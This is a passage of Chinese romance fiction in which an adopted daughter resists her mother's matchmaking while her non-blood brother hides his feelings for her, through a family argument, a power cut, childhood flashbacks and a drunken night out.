沈舒言蹭地一下子站起身,太多话卡在喉咙里说不出来,因情绪太多激动,她垂着的手微微颤抖,手指不停得扣着桌沿。
眼眶不知何时已经盛满雾气,她紧紧咬住嘴唇控制自己的情绪,身体像是突然丧失行动能力,动弹不得。
周良宴伸手拉住沈舒言的手腕。
他轻轻摩挲着她手背,安抚她濒临崩溃的不安与少许外露的焦躁。
宽厚的手掌握住她垂在身侧的手,她甚至能感觉到他掌心的薄茧,他的体温从被握住的地方一点点的溢进身体,温柔的安抚着,让她被情绪逼得僵硬的身体回暖。
小时候她感冒发烧,他就握着她的手,整天待在床边。
就像现在这样。
几分钟后,羽毛般的轻抚起了效果,沈舒言的情绪渐渐平复,她缓缓坐回椅子上,嗓音哽在吼间,“妈妈,我求你了。”
严瑾华默了一瞬,叹口气,“听话,过几天和际琛出去逛一逛散散心,妈妈在你大学时就已经退让过一次,这次绝对不行。”
其实除了这份工作以外,沈舒言是严瑾华眼里的完美女儿,温和,懂礼,美丽,端庄。
在严瑾华心里,其实没什么太多的想法,这个阶层的生活规则其实很简单,大人其实也并非那么严苛不通情达理。
小孩子喜欢玩很正常,但是不能不懂事,不能一直玩。
毕竟,到什么年纪就要做什么样
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的事情,求学结束后就要进入家族企业学习经验从而管理,到适婚年纪就要开始接触门当户对的异性,从中挑选合适的对双方家族有利的结婚对象,组成幸福的家庭。
周良宴如此,李明哲如此,际琛也是如此,没有一个人能对着既定的规则说不。
眼看着对面的女儿还是一副执迷不悟的样子,严瑾华不准备多说,微笑道:“今天这话我就当没听过。”
周良宴开口,“妈,言言是成年人了。”
严瑾华抬眼看他,问:“给你安排的几个相亲对象,你怎么一个都没去,我之前教你的都忘了,教养哪里去了。”
周良宴面上依旧平淡,“最近工作忙,抽不出时间,您以后也别再给我安排,我不会去,您也别浪费人家的时间。”
这边话音刚落。
似是再也压制不住怒火,严瑾华脸上浮现一丝愠怒,“不给你安排,你是打算一辈子不结婚?你们兄妹两一个个的都不让我省心,我天天操心这个操心那个,到头来还要被你们怪我管得多。”
说完后几秒她恢复平静,看向沈舒言,“这样,你跟际琛好好接触,也不是非让你们结婚,就是带着结婚的目的先试试,不行了再说,别的我也就不管了。”
餐桌上一时陷入沉默。
沈舒言低着头,没说好也没说不好。
严谨华没有催促,与周父先后离席。
屋外。
此时整个天空已经被吞噬,刚刚感觉还远在天边的乌云好像离地面越来越近,像一口倒扣的锅,把天压得极低,沉沉闷闷的。
小道两边的树被风推搡得七扭八歪,鹅卵石铺成的小径被雨水吞进肚子里,有几处洼地积出水滩。
沈舒言撑开伞,一个人默默地踱步走在前面,垂着头,身影从背后看起来很单薄,白色的板鞋踩进水洼里也全然不觉。
“言言。”
见她并没有停下,周良宴迈步上前,轻扣她的手腕,然后扯到面前,嗓音沾上几许干涩。
“你可以吗?”
沈舒言仍垂眸,闷声回:“没事。”
“言言,”周良宴伸手将她被风吹乱的一缕碎发勾到耳侧,而后弓着身与她对视,轻语道,“你看起来不像没事的样子。”
沈舒言募地抬眸,眼睫微微请颤两下,鼻尖涌上酸涩,嗓子眼像被利刃划出一道口子。
默了几秒,她才开口,“哥,我是不是太贪心了。”
心脏无法忽视的钻心的痛,她想是不是自己太自私了,一意孤行的只想着自己,从不考虑父母家庭。
惊惶、迷茫、愧疚、自我拉扯,
太多情绪缠绕在一起像解不开的毛钱,让她无所适从。
她像是丢了魂,眼里全是飘忽的雾。
“言言,看我。”周良宴用手抚过她的脸颊,控制着让她抬头,是很轻,却也无法挣脱的力道,声音低沉,
“想做什么就去做。”
沈舒言眸子里那层雾气散去,缓过神来的时候已经被牵着坐在副驾驶的位置。
车辆启动,她的脑袋贴着玻璃窗,看着道路两旁的树木被风吹得歪歪扭扭。
出了小区,依旧呆呆的望向窗外,轻声问:“哥,我们去哪儿?”
周良宴没有回答她的话,沉默的侧脸隐匿在车厢里。
沈舒言也没有再继续问。
她想,随便吧。
5. secret
豆大的雨滴砸向地面,像银灰色碾濡的蛛丝,织成一片轻柔细密的大网,将整个世界笼罩,拥堵的车如卡壳的机器,一点一点往前行驶。
沈舒言抬眼看向窗外,心中一片荒芜。
她轻抿已经发干的嘴角,垂眼看向路面,路边缘的排水渠出现漩涡,她看的出神,兀自降下车窗,任由雨水混杂着冷风扑向脸颊。
她的举动全然被身侧的人看在眼里,周良宴的视线停滞在她的脸颊和无神的眼里,沉声说:“言言,会感冒。”
说完抬手升上副驾驶的车窗,目光依旧正视前方。
沈舒言没说话,轻轻点头,放在膝上的人手不自觉地蜷起,她现在整个人还是游离的状态。
不知过了多久,车子稳稳停在一家酒吧门口。
周良宴率先下车,将钥匙扔给泊车小哥,撑着伞打开副驾驶的门,“明哲在这儿包了间房,去转转吧。”
面前的人嘴唇已经没了血色,双眼暗淡。
他不放心让她自己一个人待在空旷的房间里,却也无法坦诚的将她带回自己的住处。
思来想去,只有这里。
冷风吹起周良宴额前的碎发,他良久的望着她,“言言,来。”
听到有人叫自己的名字。
沈舒言本能地抬头与他对视,四目在空中相撞的瞬间,时间仿佛静止,她慢慢坐直,轻轻点头后下车。
周良宴领着沈舒言往里走,刚迈步跨进酒吧,便有帅气的服务员过来引路。
电梯缓慢的往上爬,周良宴透过镜子注视着身前的沈舒言。
在电梯定冷白顶光下,本就瘦削的人此时看着毫无生气,白色的衬衫罩在身上看着空荡荡的,后背上的肩胛骨微微凸起,仿佛下一秒就要迎光破茧而出的蝴蝶翅膀。
“叮”一声,电梯门开,李明哲就在门口站着。
周良宴:“去哪儿?”
李明哲笑,往前走一步,“难得见上沈艺术家一面,我当然要在门口候着呀。”
沈舒言看过去,她勉强的扯了下嘴角,没说话。
李明哲感觉到她明显不怎么高涨的情绪,他走到她身边,轻声问:“怎么不开心?”
沈舒言摇头,应声道:“没事,有点困。”
知道她不愿意讲,李明哲笑笑,在她头上轻轻揉了揉。
包间里灯光流转,李明哲倒了一杯酒递到周良宴跟前,却见他将酒杯推开,叫人送温水进来。
李明哲稍有不悦,啧了一声,“好不容易见一面,你又喝水啊,没劲。”
周良宴很少喝酒,除了必要的应酬基本不碰,烟就更不用说了,这两样李明哲还能找到理由,说这属于自律。
可其他的却怎么也想不明白,他和周良宴几乎从小玩儿到大,他的各任女友一双手都数不过来,周良宴至今却一个没有。
李明哲常说他不会享受,明明是云璟集团继承人,钱权在手,什么都唾手可得,却活的像个寺庙里的苦行僧,天天除了工作就是工作。
一旁的沈舒言窝在沙发里,粉白的指尖轻轻滑动手机屏幕。
须臾,瞌睡虫爬进身体,她打了个哈切,起身去卫生间,准备用凉水清醒一下。
厚重的玻璃门关上,李明哲将椅子往周良宴那边挪了挪,“问你个事。”
周良宴晃了晃水杯,言简意赅,“说。”
李明哲斟酌再三,他问:“还没谈女朋友?”
周良宴摇头。
李明哲皱眉,一脸不可置信,悄声说:“你真是和尚........你...憋不死你。”
周良宴淡淡瞥他一眼,“那你让我试试。”
李明哲一脸无语,退回原位,“去你的。”
过几分钟,他又开口,“不闹了,问你正事。”
周良宴嗯了声,示意他继续往下说。
“我看言言心情不怎么好,跟你妈吵架了?”
周良宴不说话,算是默认。
他又说,“要我看,严婶儿就是太强势,你看把你们管的天天愁眉苦脸,跟你们兄妹待一起能把人憋死。遇到事看点看开点行不行,只要人不死,总会有解决的办法,及时行乐好不好。”
说完他仰头喝了一口酒。
周良宴简短讲明事情原委。
末了,他说,“我怕她出事儿才带过来,你说话注意一点儿,别老逗她,惹她心烦。”
李明哲摇头,“瞧你这个紧张样儿,言言都长大了,你还是把她当成小孩子,那她以后结婚你怎么办,还像以前那样冲上去就揍啊。”
周良宴低着头,骨节分明的手指摩挲着杯壁,轻声说,“为什么不行。”
他声音很低,几乎听不清楚,不知道是在问别人,还是在问自己。
李明哲无语,说:“你还问为什么不行,你把自己位置摆摆正,你是她哥懂不懂,言言总有一天是会结婚的,她不会一直跟你在一起。当然,你到时候也会结婚,和你爱的人。”
包厢内一时陷入沉默。
沈舒言洗完脸回来,头脑清醒不少,她坐回沙发上,端起水杯喝水,又拿起叉子往嘴里送了几口水果。
李明哲看着她,嘴里噙着笑,说:“言言,哥跟你说个事儿。”
沈舒言放下手中的水果叉,抬头望他,“什么?”
“哥过几天给你介绍个男朋友,你放松放松,别老把自己绷着。”
最后一个字刚从嘴里吐出来,还没等到当事人回应。
一旁的周良宴放下手中的杯子,力气有些重,发出嘭的一声,“没话说就闭嘴,别把我妹妹带坏了。”
那语气与温和二字毫不沾边。
李明哲举手作投降样,“好好好,服了你了,我闭嘴行了吧。”
嘴里却嘟囔着霸权主义。
沈舒言没说话,专心吃水果。
约莫过了十几分钟,周良宴看她又打了个哈欠,出声问:“走吗?”
沈舒言点头,她是有些乏了,抽出纸巾擦了擦手,起身。
李明哲也站起来,试图挽留,“这才多久啊,不再待一会儿?”
周良宴不说话,拿起桌面上的钥匙串,起身往门口走。
沈舒言向李明哲挥了挥手,跟着走出去。
李明哲看着两人的背影,直摇头,这兄妹俩真是一点没变,闷得很。
-
今天刚好周五,雨水渐歇。
忙碌了一周的人们开始放纵,即使是深夜,道路上依旧车来车往,路边的夜市更是热闹的不像样子。
前面的路口亮起红灯,周良宴停下车,从后视镜看了眼坐在副驾驶的沈舒言,她正看着窗外,脸上的气色已经恢复,不像从家里出来时那样痛苦,整个人舒展开来。
他手指敲击着方向盘,问,“妈妈逼着你跟唐阿姨的儿子见面了?”
沈舒言把视线从窗外收回,直视前方,“也没有逼我,就是让我领着际琛在北城逛一逛,说他刚回来不熟悉。”
周良宴揣摩了一会儿,才斟酌着问,“你和唐阿姨的儿子…………”
半天没等到下文,沈舒言扭头看他,“什么?”
周良宴:“你们怎么样?”
沈舒言疑惑,“什么怎么样?”
“我换一种问法,”周良宴沉下气,尽量平静的开口,“你觉得他怎么样
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面前的红灯亮的刺眼,仿佛末日里鲜红刺眼的警告,红色的数字缓缓跳动,他沉默的等待着属于自己的审判。
沈舒言脸上没什么表情,很平静,“不怎么样,就那样吧。”
绿灯亮起。
周良宴呼出一口气,紧握着方向盘的手松开。
车停到公寓楼下,沈舒言开门下车,周良宴拉开后车侧门将她的手提包拿在手上。
沈舒言跟在他身后,看着周良宴背影,好像又回到从前。
被周家接回去适应一段时间后,严谨华怕她功课跟不上,专门给请了家教。
她脑子聪明学习不费力,唯独缺点就是不爱说话。
后来为了能让她多见见人,活泼起来。
严瑾华和周明竹便商量着将她送进周良宴就读的一所国际学校。
这样一来,她在学校也有个照应。
周家是学校股东,一切进展的很顺利。
沈舒言跟着他们踏进校园。
进入新环境,一切都要重新开始,她已经很久没有和这么多同龄人待在一起,有些不适应。
她又缩回自己的壳里,变得木讷,语言匮乏,班级里同龄的小孩子都闹腾,一下课整间教室里像同时飞进几十只小鸟,叽叽喳喳的说个不停。
没有人理会自我介绍只有三个字,哑巴一样的新同学,他们都叫她小公主,因为她漂亮,像橱窗里不会说话的芭比娃娃。
下课时,没人和她玩,她就那样默默看着,目不转睛的观察周围人的笑脸。
忽然感觉身后有人轻轻碰她的肩膀,后面的小男孩腼腆的笑:“我叫际琛。”
人一旦接收到善意的讯号,情绪和身体就会放松下来。
沈舒言嘴角微微上扬,轻声回应。
上完最后一节课,同学们鱼贯而出,剩小部分在慢悠悠的往书包里塞课本。
际琛眼神时不时朝前瞥,看到沈舒言手上最后一本书放进书包拉上拉链后,他才将书包挎在肩膀上。
他犹豫几秒,叫住沈舒言,脸颊爬上绯红,别扭得将她的书包提在自己手上。
沈舒言正疑惑着,跨出教室门就一眼看见站在走廊的周良宴,她停下脚步叫了声哥,正准备过去,周良宴已经走到她眼前,面无表情的对着她旁边的际琛伸出手,“给我。”
周良宴大沈舒言六岁,穿着初中部的校服,背着黑色的双肩包。
十四五的少年,身高已经窜到快一米八的样子,虽面上还带着少年气,但五官足够精致亮眼,他那时还没开始戴眼镜,漂亮的眉骨下,那双琥珀色的瞳孔闪着微光,本应溢彩的眼睛,却总带着疏离,仿佛对任何事物都没有丁点的企图心。
没走的同学假装等人,状似无意的看向这边。
际琛被这气势吓住,怯怯伸手将书包递过去。
沈舒言跟际琛挥手告别后,便乖巧的跟在周良宴身后,往学校门口走。
提示音响起,思绪回笼,电梯已到15楼。
沈舒言走出电梯,打开房门。
周良宴没进去,他伸手把包递给她,看着她关上门后,才重新走进电梯。
下楼后走到车子旁边,没立即上车。
他就这样站在车边,仰头往15楼那层窗户看去。
窗户亮着灯,萤萤淡白的灯光,在还带着冷意的夜里,显得格外温暖,又异常遥远。
周良宴坐进车里,小区内很安静,所有的声音仿佛消失殆尽,只留车厢内浅浅的呼吸声。
不知过了多久,手机一声震动。
他垂眸点开屏幕,在看到信息内容的那一刻迅速打开车门,冲向电梯。
6. secret
浴室里氤氲着层层雾气,沈舒言湿漉的长发披在肩上,她此刻惊魂未定,睁大眼睛跌坐在浴池里,手里紧紧握着胸前手机。
这段时间实在太忙,她已经很久没回这边住,对水电费的预留情况更是一概不知,这才会发生洗澡时突然停电的情况。
彼时她正用手机放着轻音乐冲头发,下一秒便陷入黑暗,一切都来得太过突然,她啊了一声蹲下身子。
过了好一会儿,才反应过来似的拿起手机。
这个情况不适合叫物业过来,只能试探着给周良宴发去消息,祈祷他还未走远。
手机屏幕已经发出电量告急的预警。
所幸,在下一秒便收到消息。
来了。
看到这两个字,她放下心来。
耳边没有任何声响,静谧的环境容易让人失神。
昏暗之中,沈舒言又想起往事。
那已经是很久以前,久到所有人都已经将沈舒言当作周良宴的亲妹妹。
严格来说她不算是地道的北城人,六岁前她还住在另外一个城市。
她从小就五官柔和清丽,每每走进学校都会惹得众人侧目,同学们小鸟儿似得围在她身边。
父亲是大学教授,母亲是知名艺术家,她从小便是家里的掌上明珠,闲暇时跟着父母一起去全世界畅游,冰岛的极光,卢浮宫的胜利女神像,太多太多的东西环绕着她。
可命运似乎偏爱捉弄人,一切都在某天戛然而止。
那是一个雨天平常的午后,父母带着她去海洋博物馆,车厢里放着她最喜欢的音乐。
眼里最后一个场景是什么,她记不清楚,被挤压的不成样子的小汽车里,不知道父母遭受到了多大的冲击。
她只觉得那天整个世界像是被扔进血红色的染缸里,到处都是血色的黏液,她看见父母紧紧握在一起手,看见他们尽管痛苦还是用温柔的眼神望着自己,他们在她面前奄奄一息,咽下这辈子的最后一口气。
她是这场重大车祸的唯一幸存者,母亲用自己的身躯将她护在身下。
外伤治好,她被送进福利院,那里与她同龄的小朋友并不喜欢她,他们不似大人想的那样单纯,也不善于将厌恶伪装。
人们总说小孩子都天性纯良,可他们却不知道孩子的恶是最纯粹的恶,毫无缘由的。
成年人讨厌一个人,可能是因为讨厌那个人的性格,可能讨厌那人的长相,可能与那人发生过冲突,有着各种原因,可孩子讨厌一个人,往往是没有理由的,仅仅因为他们就是想讨厌她,排斥她。
他们会将她叠好的衣服扔在地上笑着踩来踩去,会假装不小心的将她绊倒在地,会往她的床上扔丑陋恶心的虫子。
沈舒言从来不在意这些,平静的将所有东西收拾好,经历过比这还要千倍万倍的痛后,仿佛已经没有什么可以伤害到她。
可沉默使得他们变本加厉,他们像毒蛇似得观察着她,伺机而动。
很快,年纪稍微大些的孩子在夜晚偷偷剪掉她海藻般的长发,得意的扔到最脏的垃圾桶里,把她推进早已废弃的小房子里,她喊地声音都哑了,最后只能蜷缩在角落,等待自己在清点人数时被老师发现。
因这些,她小时候格外惧怕黑暗。
直至周良宴的出现。
无数个夜晚他陪在她的身边,轻声讲梦幻的童话故事。
“言言!”
恍惚间,熟悉的声音响起。
沈舒言艰难地抬眸,忍着不让眼眶里的雾气覆盖瞳孔,酸涩堵满了喉间,她有些委屈,轻声回应道:“哥……突然就停电了…家里好黑。”
脚步声已经走到浴室门口。
时间凝滞了须臾,才重新流转。
周良宴的声音带上几分沙哑,似乎是在反复斟酌,过了好几分钟,他才低声问:“言言,你衣服穿好了吗?”
得到肯定的回答,他才轻轻拧开门把手。
没开灯的浴室,一切都昏暗的看不清楚。
周良宴站在门口,只觉一股花香扑面而来,这个气味他再熟悉不过,随着空气流转,香味挟着水汽将他的身体包裹起来。
他低头把视线落在地面才缓步走近,在门口处便转身背对着里面,修长的手指轻点几下手机屏幕,空间里募地出现白色的光,将漆黑的空间点亮。
耳边有水声响起,在沉默的空间里格外分明,尽管已经背对着她,他还是不动声色的将目光直直落在面前的门把手上,只是在灯光未及的阴影里,眸色变暗。
沈舒言正从浴缸里站起身,刚才她顾不得擦干身体,便草草将睡衣套上,被水沾湿的丝质睡衣正紧紧贴在身体上。
她赤着脚从浴缸里慢慢走出来,发丝上的水珠不住的从白皙的脖颈往下落,最后隐没在衣领处。
这空间实在太过私密,看着背对着她的周良宴,停电漆黑的害怕过后,另一种情绪悄然爬上心底,耳垂缠上些薄红,往浴室门口走地动作很轻,她竭力克制住自己不发出声响,连呼吸都放慢速度,黑色的眼眸躲闪的望着地面,不去看面前的人。
片刻没有声响,周良宴忍不住问:“好了吗?”
声音带了一丝不易察觉的嘶哑,手不自觉的抓握,坚硬的手机硌的他的掌心略微有些痛意。
沈舒言已经走到周良宴身后,她赤脚踩在他的影子上,小声说:“好了…哥…我们出去吧。”
尾音落到耳侧的瞬间,身后的香味更浓,周良宴轻轻点头,往外面走。
将人一路领着带到卧室,他在门口站定,看着人往里走。
在关门的瞬间,瞥见一抹被水浸湿的睡衣,呼吸一滞,条件反射般紧闭双眼,而后僵硬的转身。
调整好呼吸,他曲起指关节轻敲房门,“言言,头发要擦干,不然明天会头疼。”
过了好几分钟,里面才传出声音,“知道了。”
沈舒言就靠在门的另一侧,大口呼吸着。
血缘是纽带,没有血缘则是界线。
从小到大,周良宴只要出现在她面前,总是衣装得体的,衬衫从不挽起,永远是长裤皮履。
她亦是如此,直到成年前,她在家里都必须穿着过膝的裙装。
周良宴沈舒言,恭顺谦敬。
他们一直都是这样的兄妹。
刚才的情景又开始在脑海里闪回。
沈舒言赌气似的把毛巾盖在头上,她粗暴的擦着自己的头发,将莫名的心绪统统赶走。
头发擦干后,躺在床上进入梦乡。
她
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今天情绪波动太大,所以睡眠很沉。
自然是没听到公寓大门被轻轻打开又合上。
周良宴去24小时便利店买了包烟和打火机。
修长的手指拆开烟盒拿出一根放进嘴里,火光窜出来撕碎黑暗,幽蓝的焰火舔舐烟嘴,明灭摇曳。
只抽了一口便捻灭,将剩下的和打火机一同扔进垃圾箱。
回到公寓楼下时,他没上去,打开车门坐在副驾驶上。
呼吸无法平复,他低头自顾自地轻笑一声。
仿佛劫后余生。
伸手想去摸烟,才想起刚才被自己连同打火机一起扔进了垃圾桶。
夜已经很深,他透过车窗,望着漆黑的窗户,轻声说了句晚安。
-
沈舒言起床时,听到厨房的动静。
她不会做饭,也不喜欢做饭,厨房在这个家基本是摆设
打了个哈欠,便揉着眼睛问往那边走,看到里面的人有一瞬的征愣,几秒后恢复常态,“哥,你起的好早。”
周良宴专心看着食材,将它们分别放好,“嗯。”
沈舒言又问:“需要我帮忙吗?”
说完没等拒绝,她已经迈步走进厨房里面,认真的与案板上的食材战斗——几根鲜玉米。
周良宴正在处理案板上的筒骨,筒骨不像排骨那样好切开,他将骨头在平面上固定,然后翻转砍几刀,最后用刀背敲在刀痕处,骨头轻松断开。那双手生得修长又骨节分明,为了不弄脏衣服,此时袖子挽起,用力时手背上的青筋与小臂上的的青筋微微凸起,手起刀落,干净利落。
沈舒言早已习惯,这样的场景,她见过无数次。
家里阿姨的厨艺其实都不错,是父母专门从大酒店里挖过来的老师傅,可她唯独偏爱周良宴的手艺,隔段时间便缠着要他下厨。但由于各种因素叠加,她也很久没吃到过他做的饭了。
周良宴大学时不知为何突然申请住宿,一周都难得回家几次。
沈舒言好不容易盼到他大学毕业,他又马不停蹄的赶往国外,好像躲着谁似的,至今也没找到答案。
她低头认真处理玉米,一层一层的剥掉上面的玉米叶,用剪刀剪掉玉米须后,把残留在上面的几根用手仔细捻下来几分钟就全部搞定后,她又从购物袋取出萝卜清洗干净放在一边。
周良宴手里的骨头几下斩好。
他从小照顾到大的人,此时也正眼巴巴的望着他。
斩好的骨头冷水下锅,放入姜片料酒去腥焯出血水,再捞出洗干净和其他食材一起放进砂锅里,加入热水后开小火慢炖。
周良宴洗干净手,开口:“稍微等一会儿。”
沈舒言心不在焉的点头,走到他的侧面,周良宴正疑惑。
突然,只见沈舒言的手撑在他的肩膀上踮起脚,“哥,以前怎么没发现,你眼睫毛真的好长。”
她的眼珠很黑,瞳仁也比较大,因此眼睛很亮很亮,看人的时候总是显得格外诚恳。
而这双眼睛正扑闪扑闪的盯着他,好奇的打量。
周良宴的身体僵住,后背如水泥风干,就连呼吸也被夺走,似乎万籁俱静。
太近了。
这样近的距离,他甚至都未敢有过奢求。
7. secret
几天后,沈舒言的忙碌一段落,和赵岚娜约在望都街新开的清吧碰面。
她偏爱果酒,不喜欢烈酒灌进喉咙的感觉,总感觉像吞进去一束火苗。
今天新地方不熟,随意点了款果酿白兰地,赵岚娜照旧大杯lrishMist。
这家清吧还算安静,厅中央有个小舞台,上面的女孩抱着吉他低声弹唱,氛围抒情缓和。吧台前,调酒师正全神贯注的调制着各种颜色的饮品。
两人边饮酒边闲聊。
赵岚娜随着旋律哼了一句,对沈舒言说:“等会儿有帅哥看哦,听说这家清吧的驻唱很火。”
沈舒言抿了口酒,胳膊撑在座椅上,看了赵岚娜一眼:“你学校的事情解决了?”
赵岚娜点头。
她们二人不是同一个专业,赵岚娜目前还在读书,留校攻读博士。
赵岚娜不是那种特别喜欢宅的好学生,别人的生活可能是学校、实验室、宿舍三点一线的跑,休息时大概率也是在读书。
而赵岚娜恰恰相反,她喜欢玩,再忙也会从自己的生活中挤出时间来喝酒唱歌,她不遗余力的让自己去享受这个世界。
在外人看来,她们两个完全是不一样的人,赵岚娜像火,热烈自由,沈舒言像水,平静忧郁。
可沈舒言和她却意外的非常合拍,两人聚在一起总是有说不完的话题,有时候沈舒言i人属性大爆发,不说一句话。赵岚娜也能安静的陪在她身边,不会觉得不自在。
赵岚娜拿起酒杯轻饮小口,“解决了。”
“那就好,我还怕你时间短赶不及呢。”
“对我来说都是小意思,不足挂齿。”
“...........我多余问,又给你装到了。”
赵岚娜笑,“哈哈哈哈,你还是多问问比较好,让我虚荣一下嘛,言言宝贝。”
沈舒言也笑,饮过几口,她有些上头。
今天的酒是樱桃口味,几乎有那种熟到快软趴的车厘子味儿,冰凉的液体划过喉咙,只余果子的香甜牢牢附着在口腔内壁,余味很长。
话题又重回到第一个,“你什么时候对这些神神秘秘的帅哥感兴趣了,你不是一向喜欢那种主动的。”
赵岚娜的恋爱观一直都是喜欢就上,失败就换,从不搞犹豫纠结那一套。
她解释,“我一直很有兴趣好不好,而且听说今晚这个只来今天一天哦,再说不看白不看,咱们凑凑热闹。”
两人有一搭没一搭的聊了一阵。
赵岚娜想到了什么,撩眼看她:“你工作室准备的怎么样了,我要捧场当你的第一位客人。”
听到这话,沈舒言微征,没说话。
赵岚娜又问,“说起来,你家里有没有给你点小钱钱支持一下。”
沈舒言放下手中的酒杯,轻轻摇头,“钱我自己可以解决,预算够就租好点的,没有就租个差不多吧,我没什么太多的要求。”
赵岚娜抬眼瞥她,“听你这话的意思,家里还不不支持你?”
“从我‘不听话’后,没支持过。”
赵岚娜笑了笑,“还真跟我看得小说差不多,下一步你家里不会要给你找个富二代相亲结婚吧,那你哥呢?”
沈舒言耸肩,“我哥的情况我不了解,他现在什么都不跟我说。”
两人无言的喝了一会儿,赵岚娜目光往别处移动,盯住几秒又转回来,“好像来了。”
她说的是那个主唱,沈舒言顺着她的视线看过去。
不知道什么时候开始,舞台上已经是别样景象,暖色的聚光灯打的极暗,上面的人早已换成另一个。
刚才还堪堪能看清楚人的灯光不见,只能模糊的看到一点轮廓,那人的个子很高,穿着件黑色的T恤,正低头调试手中的吉他。
可能是吉他已经调试完毕,他抬头朝舞台边比了个ok的手势。
下一秒,暖色重新点亮。
赵岚娜分贝比刚才高了几度,“言言,这个确实不错!”
音乐响起的瞬间,穿过人群,四目相对。
“诶,不对劲。”大概是发现什么了不得的事,赵岚娜迟疑的开口,“言言,这人我是不是在哪儿见过啊。”
赵岚娜发誓自己绝对不是在耍贫嘴套近乎,她是真觉得这人眼熟,思来想去一拍脑袋,嘴唇微张,惊讶道:“这不内谁嘛,他什么时候回来的?”
“…………”
没等沈舒言回复,她嘴角溢出笑,又接着说:“你还记得他吧?”
舞台上的际琛自然也发现了坐在角落的沈舒言,他嘴角微微上扬。今天本就是为给朋友捧场才抽空过来,没想到可以在这里碰到她。
自从上次吃过那顿饭后,两人只见过里面,每次都不到20分钟她就匆匆离去,也想过直接去找她,又怕过于唐突。
舞台上的人谢幕离场,赵岚娜早已经等不及,“我可是看到了,他怎么一直盯着你看!坦白从宽,抗拒从严,你们这是.......再续前缘?”
沈舒言被逗笑,为了防止赵岚娜再说出更加不着边际的话,只得将两人见第一面到今天的事一五一十的说给她听。
赵岚娜频频点头,若有所思,最后得出结论,“所以说,他就是你爸妈给你找的相亲对象?”
沈舒言没说话,她的手指缓慢摩挲着杯壁,眸子轻垂,落在杯中透亮的液体上。她的大脑拒绝思考,下意识逃避这个问题,在对上赵岚娜探究的眼神后,苦笑着摇头。
她平日很少喝酒,往常和工作室的小姐妹们团建只喝温水或饮料,实在盛情难却时也都是抿小口意思一下。
虽然对自己的酒量没什么把握,却在今夜想要尝尝醉酒的滋味儿。
她站起身,伸手探到桌对面,拿起赵岚娜面前的酒杯,往嘴里灌了一口。
第一次喝如此烈的酒,感觉实在称不上美好,奇奇怪怪的说不上来的味道,从嘴到喉咙再到胃,都有一种灼烧感。
到了最后,已经品不出嘴里的液体是苦是辣,只觉得大脑晕乎,像一脚踩到了棉花上,软绵绵,飘飘然。
际琛跟朋友打过招呼来到卡座上时,就是眼前这幅景象。
沈舒言眼神
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已经迷离,对面赵岚娜则是震惊的睁大双眼,手忙脚乱的从她手里夺过酒杯。
刚才那一幕发生的太快,快到她来不及反应,快到她还没来得及提醒,今天点的这杯lrishMist后劲非常大。
沈舒言就已经把满满一大杯的酒精灌进嘴里,一下接一下的。
眼看着她已经快醉了,赵岚娜眼疾手快的拿走桌面上的酒瓶,“言言,尝尝味儿就可以了。”
沈舒言撇着嘴摇头,俨然一副不醉不归的意思。
她的眼神已经开始虚焦,却依旧死死盯着好友手里的棕色酒瓶。
倏的,放在手边的电话响起,动作被强制叫停,垂眼看过去,屏幕上显示是两个字,有点重影,她看不清。
手在桌面上胡乱的摸,手机明明就在眼前却总是拿不到手里,最后还是赵岚娜看不过去,一把抓过塞给她。
她眼睛半眯着,声音黏黏糊糊,每个音都像是轻飘飘的落在柔软的云朵上,“你是谁?我在.....嗯..我为什么告诉你…...”
对面的赵岚娜无奈,将她手中的电话接过,“你好,我是她的朋友,我们在望都街,清吧的名字是.....”
说完那头的电话挂断,赵岚娜才坐回位置上,等着电话那头的人过来。
际琛则从后台取来自己的衣服披在沈舒言身上,小心的护在她旁边防止跌倒。
“真喝醉了?”知道有人来接,赵岚娜放下心,站起身认真观察几秒后拿出手机拍照,笑着嘀咕,“闷葫芦难得喝醉一次,留个纪念。”
拍完照没几分钟,抬眼便瞅到个西装熟男跨步走过来。
赵岚娜定睛打量,等人走到眼前才发现是周良宴。
他剑眉拧起,视线牢牢锁在沈舒言身上。
几秒过后,他走近,起身捞起她,垂眼望着她眸子须臾。
怀里人的眼睛懒懒的睁开一道缝儿,她的手虚浮在半空落在他的肩上,粉唇微启,他才听到一句。
“哥……”沈舒言伸手摸了摸他的镜框,“你近视加重了吗?怎么戴了这么多眼镜儿。”
实在是。
醉的不轻。
周良宴向旁边的两位打了个招呼,带着她往外走。
人虽然被他环在怀里却小孩子似的极其不安分,葱白的手指抓住他的胳膊想要挣脱束缚,时不时嘟囔着继续我还要喝。
说完还扭头抻着身体想往回走。
周良宴不敢太用力,怕弄疼她。
几个人一起走到清吧门口,他停下,点头示意赵岚娜和际琛两人留步。
“赵小姐,我带言言先回家了了,你也早点回去休息。”
语毕看际琛一眼,“替我向唐阿姨和际叔叔问好。”
说完就扶着沈舒言走到副驾驶位放进去,而后抬手轻轻关上车门。
赵岚娜上前一步,想着她去照顾可能方便一点,便问:“要我一起去吗?”
天色已暮,隐有微风吹过,昏黄的街灯落在周良宴宽阔紧实的后背。
他微微转头,语气平淡,“不用,谢谢。”
8. secret
lrishMist后劲很大,会在某个时刻倏然冲上头顶,不常喝酒的沈舒言自然承受不住。
她感觉自己的脑子已经晕晕乎乎,灵魂仿佛飞到外太空,只能半眯着眼看向窗外,抬手摁下车窗的动作都比平时慢上半拍,整个身体昏昏沉沉的像灌了铅。
眼皮很重,睁不开,恍惚间耳侧听到一句,“困了就睡觉,到家我叫你。”
周良宴关上车门,微微橙子的涩感混着酒香被夜风吹散,他轻屏呼吸,缓缓向副驾驶俯身轻移。
沈舒言白皙脸庞在灯光的映照下,颊边透明的绒毛更显,像刚成熟的水蜜桃,白里透红。
他低头帮她系安全带,两人之间的距离被无限拉近。
倏然,沈舒言将脸扭向一侧。
车厢门灯光昏暗,借着月光看去,两人鼻尖几乎快碰在一起,时间被按下暂停。
“咔嗒”安全带落下。
周良宴快速回到驾驶位,不易察觉的平复呼吸,而后启动车辆。
他偶尔透过后视镜看副驾驶位靠着椅背的人。
莹白的月光照在她白净的小脸上,从车窗缝隙里偷溜进来的夜风吹着她的碎发,白瓷般的肌肤被酒精晕染,耳廓已经染上绯红,就连脸颊也泛起淡淡的血色。
只一眼便收回,不敢有太多贪恋。
他目视前方专心开车。
车子停在沈舒言的公寓楼下,她还在睡,似乎是做了美梦,眉眼舒展。
周良宴下车,脱下外套披在她身上,随即把她横空抱了起来。
沈舒言的身体轻微动了动,没有要清醒的意思,发软的胳膊顺势搂上他的脖颈,嗅嗅鼻尖,闻到熟悉的木调清香,垂着的脑袋不可察觉的轻轻蹭了蹭。
